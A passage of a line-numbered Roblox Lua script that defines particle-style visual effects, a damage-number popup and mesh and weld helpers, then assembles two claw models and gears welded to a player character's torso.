  2142. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2143. Part.Transparency=i
  2144. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2145. end
  2146. Part.Parent=nil
  2147. end),prt,msh,wld)
  2148. end
  2149.  
  2150. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2151. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2152. prt.Anchored=true
  2153. prt.CFrame=cframe
  2154. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2155. game:GetService("Debris"):AddItem(prt,2)
  2156. coroutine.resume(coroutine.create(function(Part,Mesh)
  2157. for i=0,1,delay do
  2158. wait()
  2159. Part.CFrame=Part.CFrame
  2160. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2161. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2162. prt2.Anchored=true
  2163. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2164. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2165. game:GetService("Debris"):AddItem(prt2,2)
  2166. coroutine.resume(coroutine.create(function(Part,Mesh)
  2167. for i=0,1,0.1 do
  2168. wait()
  2169. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2170. end
  2171. Part.Parent=nil
  2172. end),prt2,msh2)
  2173. end
  2174. for i=0,1,delay*2 do
  2175. wait()
  2176. Part.CFrame=Part.CFrame
  2177. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2178. end
  2179. Part.Parent=nil
  2180. end),prt,msh)
  2181. end
  2182.  
  2183. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2184. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2185. prt.Anchored=true
  2186. prt.CFrame=cframe
  2187. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2188. game:GetService("Debris"):AddItem(prt,2)
  2189. coroutine.resume(coroutine.create(function(Part,Mesh)
  2190. for i=0,1,delay do
  2191. wait()
  2192. Part.CFrame=Part.CFrame
  2193. Part.Transparency=i
  2194. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2195. end
  2196. Part.Parent=nil
  2197. end),prt,msh)
  2198. end
  2199.  
  2200. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2201. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2202. prt.Anchored=true
  2203. prt.CFrame=cframe*euler(x2,y2,z2)
  2204. --"http://www.roblox.com/asset/?id=168892465"
  2205. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2206. game:GetService("Debris"):AddItem(prt,2)
  2207. coroutine.resume(coroutine.create(function(Part,Mesh)
  2208. for i=0,1,0.03 do
  2209. wait()
  2210. Part.CFrame=Part.CFrame
  2211. Part.Transparency=i
  2212. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2213. end
  2214. Part.Parent=nil
  2215. end),prt,msh)
  2216. end
  2217.  
  2218. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2219. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2220. prt.Anchored=true
  2221. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2222. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2223. game:GetService("Debris"):AddItem(prt,2)
  2224. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2225. CF=Part.CFrame
  2226. Numbb=0
  2227. randnumb=math.random()/10
  2228. rand1=math.random()/10
  2229. for i=0,1,rand1 do
  2230. wait()
  2231. CF=CF*cf(0,math.random()/2,0)
  2232. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2233. Part.CFrame=CF*euler(Numbb,0,0)
  2234. Part.Transparency=i
  2235. Numbb=Numbb+randnumb
  2236. end
  2237. Part.Parent=nil
  2238. end),prt,CF,Numbb,randnumb)
  2239. end
  2240.  
  2241. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2242. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2243. prt.Anchored=true
  2244. prt.CFrame=cframe
  2245. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2246. game:GetService("Debris"):AddItem(prt,5)
  2247. coroutine.resume(coroutine.create(function(Part,Mesh)
  2248. for i=0,1,delay do
  2249. wait()
  2250. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2251. Part.Transparency=i
  2252. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2253. end
  2254. Part.Parent=nil
  2255. end),prt,msh)
  2256. end
  2257.  
  2258. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2259. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2260. prt.Anchored=true
  2261. prt.CFrame=cframe
  2262. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2263. game:GetService("Debris"):AddItem(prt,2)
  2264. coroutine.resume(coroutine.create(function(Part,Mesh)
  2265. for i=0,1,delay do
  2266. wait()
  2267. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2268. Part.Transparency=i
  2269. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2270. end
  2271. Part.Parent=nil
  2272. end),prt,msh)
  2273. end
  2274.  
  2275. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2276. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2277. prt.Anchored=true
  2278. prt.CFrame=cframe*cf(x,y,z)
  2279. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2280. game:GetService("Debris"):AddItem(prt,5)
  2281. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2282. local num=math.random()
  2283. local num2=math.random(-3,2)+math.random()
  2284. local numm=0
  2285. for i=0,1,delay*2 do
  2286. swait()
  2287. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2288. Part.Transparency=i
  2289. numm=numm+0.01
  2290. end
  2291. Part.Parent=nil
  2292. Mesh.Parent=nil
  2293. end),prt,msh,x,y,z)
  2294. end
  2295.  
  2296.  
  2297. showDamage=function(Char,Dealt,du,Color)
  2298. m=Instance.new("Model")
  2299. m.Name=tostring(Dealt)
  2300. h=Instance.new("Humanoid")
  2301. h.Health=0
  2302. h.MaxHealth=0
  2303. h.Parent=m
  2304. c=Instance.new("Part")
  2305. c.Transparency=0
  2306. c.BrickColor=TorsoColor
  2307. c.Name="Head"
  2308. c.TopSurface=0
  2309. c.BottomSurface=0
  2310. c.formFactor="Plate"
  2311. c.Size=Vector3.new(1,.4,1)
  2312. ms=Instance.new("CylinderMesh")
  2313. ms.Scale=Vector3.new(.8,.8,.8)
  2314. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2315. if CRIT==true then
  2316. ms.Scale=Vector3.new(1,1.25,1)
  2317. end
  2318. ms.Parent=c
  2319. c.Reflectance=0
  2320. Instance.new("BodyGyro").Parent=c
  2321. c.Parent=m
  2322. if Char:findFirstChild("Head")~=nil then
  2323. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2324. elseif Char.Parent:findFirstChild("Head")~=nil then
  2325. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2326. end
  2327. f=Instance.new("BodyPosition")
  2328. f.P=2000
  2329. f.D=100
  2330. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2331. f.position=c.Position+Vector3.new(0,3,0)
  2332. f.Parent=c
  2333. game:GetService("Debris"):AddItem(m,.5+du)
  2334. c.CanCollide=false
  2335. m.Parent=workspace
  2336. c.CanCollide=false
  2337. end
  2338.  
  2339. Player=game:GetService('Players').LocalPlayer
  2340. Character=Player.Character
  2341. Mouse=Player:GetMouse()
  2342. m=Instance.new('Model',Character)
  2343.  
  2344.  
  2345. local function weldBetween(a, b)
  2346. local weldd = Instance.new("ManualWeld")
  2347. weldd.Part0 = a
  2348. weldd.Part1 = b
  2349. weldd.C0 = CFrame.new()
  2350. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2351. weldd.Parent = a
  2352. return weldd
  2353. end
  2354.  
  2355. it=Instance.new
  2356.  
  2357. function nooutline(part)
  2358. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2359. end
  2360.  
  2361. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2362. local fp=it("Part")
  2363. fp.formFactor=formfactor
  2364. fp.Parent=parent
  2365. fp.Reflectance=reflectance
  2366. fp.Transparency=transparency
  2367. fp.CanCollide=false
  2368. fp.Locked=true
  2369. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2370. fp.Name=name
  2371. fp.Size=size
  2372. fp.Position=Character.Torso.Position
  2373. nooutline(fp)
  2374. fp.Material=material
  2375. fp:BreakJoints()
  2376. return fp
  2377. end
  2378.  
  2379. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2380. local mesh=it(Mesh)
  2381. mesh.Parent=part
  2382. if Mesh=="SpecialMesh" then
  2383. mesh.MeshType=meshtype
  2384. mesh.MeshId=meshid
  2385. end
  2386. mesh.Offset=offset
  2387. mesh.Scale=scale
  2388. return mesh
  2389. end
  2390.  
  2391. function weld(parent,part0,part1,c0,c1)
  2392. local weld=it("Weld")
  2393. weld.Parent=parent
  2394. weld.Part0=part0
  2395. weld.Part1=part1
  2396. weld.C0=c0
  2397. weld.C1=c1
  2398. return weld
  2399. end
  2400.  
  2401. local modelzorz=Instance.new("Model")
  2402. modelzorz.Parent=Character
  2403. modelzorz.Name="Claw1"
  2404.  
  2405. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2406. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2407. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2408. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2409. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2410. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2411. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2412. Part.Touched:Connect(Damage_OnTouch)
  2413. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2414. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2415. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2416. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2417. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2418. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2419. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2420. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2421. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2422. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2423. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2424. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2425. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2426. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2427. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2428. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2429. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2430. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2431. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2432. Part.Touched:Connect(Damage_OnTouch)
  2433. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2434. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2435. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2436. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2437. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2438. Part.Touched:Connect(Damage_OnTouch)
  2439. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2440. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2441. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2442. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2443. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2444. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2445. Part.Touched:Connect(Damage_OnTouch)
  2446. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2447. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2448. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2449. Part.Touched:Connect(Damage_OnTouch)
  2450. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2451.  
  2452. local modelzorz2=Instance.new("Model")
  2453. modelzorz2.Parent=Character
  2454. modelzorz2.Name="Claw2"
  2455.  
  2456. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2457. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2458. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2459. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2460. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2461. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2462. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2463. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2464. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2465. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2466. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2467. Part.Touched:Connect(Damage_OnTouch)
  2468. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2469. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2470. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2471. Part.Touched:Connect(Damage_OnTouch)
  2472. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2473. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2474. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2475. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2476. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2477. Part.Touched:Connect(Damage_OnTouch)
  2478. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2479. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2480. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2481. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2482. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2483. Part.Touched:Connect(Damage_OnTouch)
  2484. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2485. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2486. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2487. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2488. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2489. Part.Touched:Connect(Damage_OnTouch)
  2490. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2491. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2492. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2493. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2494. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2495. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2496. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2497. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2498. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2499. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2500. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2501. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2502.  
  2503. local modelzorz3=Instance.new("Model")
  2504. modelzorz3.Parent=Character
  2505. modelzorz3.Name="Eye"
  2506.  
